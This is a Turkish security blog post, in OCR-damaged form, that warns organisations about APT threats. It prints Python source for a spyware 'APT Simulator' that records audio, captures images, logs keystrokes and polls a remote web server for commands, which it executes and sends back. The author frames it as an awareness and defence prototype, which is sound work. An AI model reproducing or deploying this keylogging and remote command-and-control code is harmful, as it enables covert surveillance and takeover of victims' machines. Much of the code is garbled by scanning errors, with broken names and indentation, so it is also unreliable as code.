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Gegtigimiz senelerde Stuxnet, Duqu, Flame vb. casus/zararli yazilimlar ile
ilgili olarak haber bombardimanina tutulan cogu kimse icin APT (advanced
persistent threat), arkasinda bir devletin oldugu, kapali kapilar ardinda
Uzerinde onlarca belki de ylizlerce kisinin dev bltcelerle calistigi, nukleer
reaktore sahip olmadiginiz siirece pek fazla kaygilanmanizi gerektirmeyen
siber saldiri projeleri oldugu disinilir. Bu yanlis diisiince neticesinde
kurumlar tarafindan bir APT tehdidine maruz kalma olasiligi oldukcga disuk
olarak degerlendirilmektedir. Halbuki APT’'nin temel amacinin uzun sireli ve
gizli bir sekilde hedef sistem lzerinden ses, goruntd, tus kayit bilgileri
ile hassas verileri c¢almak oldugu g6z ardi edilir. Ben de bu yazi ile
kurumlar tarafindan g6z ardi edilen APT tehdidine, sizma testlerinde sikca
kullanilan Metasploit ve Meterpreter‘i kullanmadan, kisa slrede
gelistirdigim, tam fonksiyonel olmayan (niyeti bozuk olanlar biraz kod yazmak
zorunda kalacaklar :) ) APT Simulator araci ile dikkat cekmeye calistaim.

APT’yi olusturan en 6nemli iki bilesenden biri hedef sistemi istismar edecek
istismar kodu, digeri ise sisteme indirilecek ve calistirilacak olan

casus/zararli yazilimdir.

Hedef sistemin istismar edilerek casus/zararli yazilimin hedef sisteme
indirilme ve calistirilma kismi glnumizde hacking forumlarindan lcretsiz
olarak temin edilebilen istismar kitleri ve sosyal miuhendislik saldirisi
sayesinde bir tik ile gerceklestirilebilmektedir. Istismar kitleri ile hedef
sistemde ylUklid ve glncel olmayan Adobe PDF Reader, Java, 0fis yazilamlara,
internet tarayicilari vb. 3. parti yazilaimlar istismar edilmekte ve sistem
ele gecgirilerek lUzerinde istenilen casus/zararli yazilaimlar
calistirilabilmektedir. (GUnumuzde imza tabanli glivenlik teknolojilerinin
(ips, ids, antiviris vs.) bu tehditlere karsi koruma saglamakta yetersiz
oldugunun tekrar altini cizmekte fayda olabilir)

Casus/zararli yazilim olusturma kismi ise programlama dehasi olmayan kisiler
tarafindan rahatlikla gerceklestirilebilir. Yazima konu olan ve casusluk
faaliyeti gerceklestirecek olan APT Simulator araci, modiler yapisi sayesinde
Python ile kisa surede rahatlikla gelistirilebilir. Bunun ic¢in gelistiricinin
Python v2.7.5 suraminu (python-2.7.5.msi), ekran goruntusi almak icin
VideoCapture modilini (VideoCapture-0.9.5.win32-py2.7.exe), tus kaydi icin
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pyHook modilunu (pyHook-1.5.1.win32-py2.7.exe), ses kaydi ic¢in ise pyAudio
modulund (PyAudio-0.2.7.win32-py2.7.exe) kurmus olmasi yeterlidir. Modiller
kurulduktan sonra gelistirilecek olan APT aracinin catisi 4 ana fonksiyondan

olusabilir;

Ses kaydi gerceklestiren fonksiyon:

PyAudio modilu sayesinde hedef sistem Uzerinden 5 saniyeligine ses kaydi
yapilir ve apt.wav dosyasina yazilair.

def record audio():
CHUNK = 1024
FORMAT = pyaudio.palntl6
CHANNELS = 2
RATE = 44100
RECORD SECONDS = 5
WAVE OUTPUT FILENAME = "apt.wav"

p = pyaudio.PyAudio()

stream = p.open(format=FORMAT,
channels=CHANNELS,
rate=RATE,
input=True,
frames per buffer=CHUNK)

if console:
print "* Recording audio..."

frames = []
for i in range(0, int(RATE / CHUNK * RECORD SECONDS)):
data = stream.read(CHUNK)

frames.append(data)

if console:

print "* done\n"
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stream.stop stream()
stream.close()
p.terminate()

wf = wave.open(WAVE OUTPUT FILENAME, 'wb')
wf.setnchannels (CHANNELS)
wf.setsampwidth(p.get sample size(FORMAT))
wf.setframerate(RATE)
wf.writeframes(b''.join(frames))
wf.close()

Ekran goruntust alan fonksiyon:

VideoCapture modulu sayesinde hedef sistem uUzerinde ekran gorintusu alinarak,
apt.jpg adi altinda dosya sistemine kayit edilir.

def take screenshot():
if console:
print "* Taking screenshot..."
cam = Device()
cam.saveSnapshot('apt.jpg')
if console:

print "* done\n"

Tus kaydi yapan fonksiyon:

PyHook modiliu sayesinde klavyede basilan tuslar, aracin calistigi klasérde
keylogs.txt dosyasina kayit edilir.

def keylogger():
if console:
print "* Logging key events... (press enter to escape)"
def OnKeyboardEvent (event):
keys = ""
full path = os.path.realpath( file )
path, file = os.path.split(full path)

path = path + "\keylogs.txt"



keyfile = open(path, "a")
key = chr(event.Ascii)
if event.Ascii == 13:
key = "\n"
hook.UnhookKeyboard()
if console:
print "* done\n"

main()

keys = keys + key
keyfile.write(keys)
keyfile.close()
hook = pyHook.HookManager()
hook.KeyDown = OnKeyboardEvent
hook .HookKeyboard()
pythoncom.PumpMessages ()

Komuta kontrol merkezinden aldigi komutu sistem lzerinde calistirip komuta
kontrol merkezine geri gonderen fonksiyon:

take order fonksiyonu, http://www.mertsarica.com/apt simulator/apt.php
adresine baglanarak hangi islemi gerceklestirecegi (ses kaydi, ekran
goruntust alma, tus kaydi yapma, sistem lUzerinde komut calistirma) bilgisini
alir.

process order fonksiyonu, sistem lzerinde calistirmasi gereken komut
bilgisini (6rnek: hostname) aldiktan sonra sistem lizerinde calistirir ve
http://www.mertsarica.com/apt simulator/apt.php dosyasina cmd parametresi ile
gonderir.

def process order(cmd):
if console:
print "* Running received command:", cmd
p = subprocess.Popen(cmd, stdout=subprocess.PIPE)
result = p.communicate()[0]
if console:
print "* Command output:", result
# print "* done."
url = "http://www.mertsarica.com/apt simulator/apt.php?cmd=" + result
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if console:

o°

print "* Sending command output (%s) to APT Simulator..."
(result.strip())
response = opener.open(url)
if console:
print "* done\n"
def take order():
url = "http://www.mertsarica.com/apt simulator/apt.php"
print "* Connecting to APT Simulator:", url
response = opener.open(url)
html = response.read()

rel='((?:[a-z][a-z0-9 ]*))" # Variable Name 1
re2="'(:)" # Any Single Character 1
re3='((?:[a-z][a-20-9 1*))" # Variable Name 2
red="(:)" # Any Single Character 2
re5="'((?:[a-z][a-2z0-9 ]*))' # Variable Name 3
ree="(:)" # Any Single Character 3
re7="((?:[a-z][a-z0-9 ]*))"' # Variable Name 4

rg = re.compile(rel+re2+re3+red4+re5+re6+re7,re.IGNORECASE|re.DOTALL)
m = rg.search(html)

if m:
varl=m.group(1l)
cl=m.group(2)
var2=m.group(3)
c2=m.group(4)
var3=m.group(5)
c3=m.group(6)
vard=m.group(7)
if console:
print "* Received command:",
varl+cl+var2+c2+var3+c3+var4+"\n"
if varl == "ses":
record audio()
if var2 == "ekrangoruntusu":
take screenshot()



if varé4:

process order(var4)

if var3 == "tuskaydi":
keylogger()
EX Administrator: Command Prompt - apt_simulator.py o l = [C |i"j‘_]

Connecting to APT Simulator: http- - wuwu_mertsarica.comsapt_simulatorsapt.php
Received command: ses-ekrangoruntusuttuzkaydi-hostname

Recording audio...
done

Taking screenzhot...
done

Running received command: hostname

Command output: MHert—PC

Sending command output (Mert-PC» to APT Simulator...
done

Logging key events... (press enter to escapel

L &

Sonu¢ olarak tim bu fonksiyonlar bir araya getirildigi zaman ortaya APT
saldirisini simile edebilen APT Simulator araci c¢ikivermis oluyor. GOoruldigu
Uzere Python ile kisa bir slrede ses kaydi yapabilen, ekran goruntisu
alabilen, tus kaydi yapabilen ve uzaktaki web sunucusundan komut alarak
sistem Uzerinde calistirabilen ve sunucuya geri gonderebilen bir APT araci
tasarlamak mimkdndir dolayisiyla kurumda bir nukleer reaktdér, bir SCADA
sistem olmasa bile APT tehdidi bir kurum icin ciddi anlamda ele alinmasi, bu
veya benzer bir casus yazilim ile karsi karsiya kalindigi zaman nasil tespit
edilebilecegi, aksiyon alinabilecegi konusunda lzerine disunlilmesi, zaman ve
bitce ayrilmasi gereken cok onemli bir konudur.

Programin kotiye kullanilmasini engelleme adina prototip olarak gelistirdigim
APT Simulator aracini, dileyen guvenlik uzmanlari daha da gelistirerek APT
testlerinde veya bilgisayar olaylari mudahale ekiplerinin calismalarinda
rahatlikla kullanabilirler.

Bir sonraki yazida gorusmek dilegiyle herkese givenli ginler dilerim.
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